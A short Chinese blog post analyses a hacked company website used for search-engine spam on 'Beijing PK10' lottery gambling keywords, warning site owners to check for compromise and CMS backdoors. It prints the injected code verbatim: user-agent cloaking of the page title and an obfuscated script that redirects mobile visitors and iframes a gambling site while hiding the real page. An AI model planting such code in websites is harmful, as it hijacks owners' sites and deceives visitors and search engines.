无意间看到了一个网站，挺有意思的，简单的分析了下，跟大家说下。
简单的说下介绍：
- 搜索词：北京pc10
- 排名：首页搜索“北京pk10”排名第二位
- 标题：北京赛车pk10 PK10开奖直播 北京赛车pk10开奖记录 – 红砭网
- 描述：
2019年红砭网99c9娱乐最新最全北京pk10互动交流网站,上万网友分享北京pk10创新内容,北京pk10各项大数据进行分析。 - 以下是截图
点击页面打开网站url为：http://www.hongbianwang.com/
显示标题为：
金斯瑞中国 – 金斯瑞生物科技有限公司
网站基础数据：
再看网站源代码
head标签中有这样一段代码
<script>if(navigator.userAgent.toLocaleLowerCase().indexOf("baidu") == -1){document.title = "金斯瑞中国 - 金斯瑞生物科技有限公司"}</script><title>北京赛车pk10 PK10开奖直播 北京赛车pk10开奖记录 - 红砭网 </title><script language="javascript" type="text/javascript" src="/wwwroot/js/fba184d3-2509-4041-8932-b62c5732af4b-head.js" charset="utf-8"></script>
<meta http-equiv="Cache-Control" content="no-transform" />
<meta http-equiv="Cache-Control" content="no-siteapp" /><script>var V_PATH="/";window.onerror=function(){ return true; };</script>
<meta name="description" content="2019年红砭网99c9娱乐最新最全北京pk10互动交流网站,上万网友分享北京pk10创新内容,北京pk10各项大数据进行分析。">
<meta name="keywords" content="pk10">其中首段script简单的意思就是：不是百度时标题为金斯瑞中国 – 金斯瑞生物科技有限公司
正常title的值是用的编码，解析出来就是
title：北京赛车pk10 PK10开奖直播 北京赛车pk10开奖记录 – 红砭网
描述：2019年红砭网99c9娱乐最新最全北京pk10互动交流网站,上万网友分享北京pk10创新内容,北京pk10各项大数据进行分析。
关键词：pk10
再看源代码中的JS
<script language="javascript" type="text/javascript" src="/wwwroot/js/fba184d3-2509-4041-8932-b62c5732af4b-head.js" charset="utf-8"></script>
//所调用的
function goPAGE() {
if ((navigator.userAgent.match(/(phone|pad|pod|iPhone|iPod|ios|iPad|Android|Mobile|BlackBerry|IEMobile|MQQBrowser|JUC|Fennec|wOSBrowser|BrowserNG|WebOS|Symbian|Windows Phone)/i))) {
window.location.href = "http://www.k3887.com/a"
} else {
var ss = '<center id="yangchen"><ifr' + 'ame scrolling="no" marginheight=0 marginwidth=0 frameborder="0" width="100%" width="14' + '00" height="14' + '50" src="http://www.k3887.com/a"></iframe></center>';
eval("do" + "cu" + "ment.wr" + "ite('" + ss + "');");
try {
setInterval(function() {
try {
document.getElementById("div" + "All").style.display = "no" + "ne"
} catch (e) {}
for (var i = 0; i < document.body.children.length; i++) {
try {
var tagname = document.body.children[i].tagName;
var myid = document.body.children[i].id;
if (myid != "iconDiv1" && myid != "yangchen") {
document.body.children[i].style.display = "non" + "e"
}
} catch (e) {}
}
}, 100)
} catch (e) {}
}
}
goPAGE();其中引用地址：http://www.k3887.com/a
原理很简单，其实就是黑了网站，在网站注入了代码，从而做关键词排名；
各位有网站的也要及时检测网站是否被黑，尤其是用的开源类的cms做的网站，有很多是有后门的，要做好安全防护，从根本上杜绝此类事情发生。
评论 (0)